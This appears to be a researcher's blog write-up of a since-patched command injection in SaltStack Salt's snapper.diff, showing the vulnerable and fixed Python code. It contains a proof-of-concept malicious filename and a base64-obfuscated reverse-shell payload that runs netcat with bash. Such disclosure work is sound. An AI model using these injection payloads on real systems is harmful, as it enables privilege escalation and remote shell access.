I discovered a command injection vulnerability in SaltStack's Salt that allows privilege escalation using malicious filenames on a minion when the master calls snapper.diff. But... I was too slow! SaltStack had already fixed it almost a month earlier, and the source code I was looking at was out of date.

Affected Versions: All versions between 2016.9 and 3002.6
Links: Mitre, NVD

As this is already fixed and pretty trivial to exploit, this post is going to be pretty brief compared to the previous posts I've done on SaltStack vulnerabilities (CVE-2020-28243 and CVE-2020-28243 (2)).


  • Snapper is installed and configured on the minion (this requires a filesystem such as btrfs)
  • Master uses the snapper module to request a diff on a minion

The vulnerability

When the snapper module performs a diff between a snapshot and the current state, it first checks each file to see if it is a text file using the file command. But because the filename is passed directly into os.popen it can be easily be abused by anyone able to create a file.

def _is_text_file(filename):
    Checks if a file is a text file
    type_of_file = os.popen("file -bi {}".format(filename), "r").read()
    return type_of_file.startswith("text")
The vulnerable code

The exploit

The exploit is trivial to set up; we create a text file with a filename that contains a command injection. Here we will use $() to create a subshell:

echo hi > '$(touch HACKED).txt'
Proof of Concept exploit

Now the exploit is ready. Now we wait for the master to request a diff from the minion. This can be done using the following Salt command: salt '*' snapper.diff

Lets see it in action:

Left: Master initiating snapper.diff Right: Performing the exploit on the minion

Now that we've got a proof of concept working, we can get full remote command execution using some base64'ing like so:

echo hi > '$(echo bmMgLWUgL2Jpbi9iYXNoIDEyNy4wLjAuMSA0NDQ0|base64 -d|sh -i).txt'
Example to get a reverse shell using a base64'ed command

The fix

The fix SaltStack went for replaces the os.popen with and now passes a list of arguments to prevent command injection. The filename passed into this can only ever be a single argument, and subshells are not supported by default in

def _is_text_file(filename):
    Checks if a file is a text file
    type_of_file =
        ["file", "-bi", filename],
    return type_of_file.startswith("text")
The fixed SaltStack code

Note: It appears that this security fix actually broke the functionality as subprocess.STDOUT seems to cause an error: OSError: [Errno 9] Bad file descriptor. It should probably be replaced with subprocess.PIPE. I raised this as an issue here.


SaltStack detected this code as a potential vulnerability using a Bandit scan and fixed this almost a month before I found it. This was all done as part of a larger pull request where several potential vulnerabilities were fixed.

Nooooooooooooooooooooooooo but also yes.

It's great to see SaltStack taking a proactive move to reduce their attack surface. However, in all my attempts to contact SaltStack about this vulnerability I was ignored, presumably they don't care as it was already fixed. Given the exploit was in the code base for almost 5 years I think it was important enough to warrant a CVE-ID.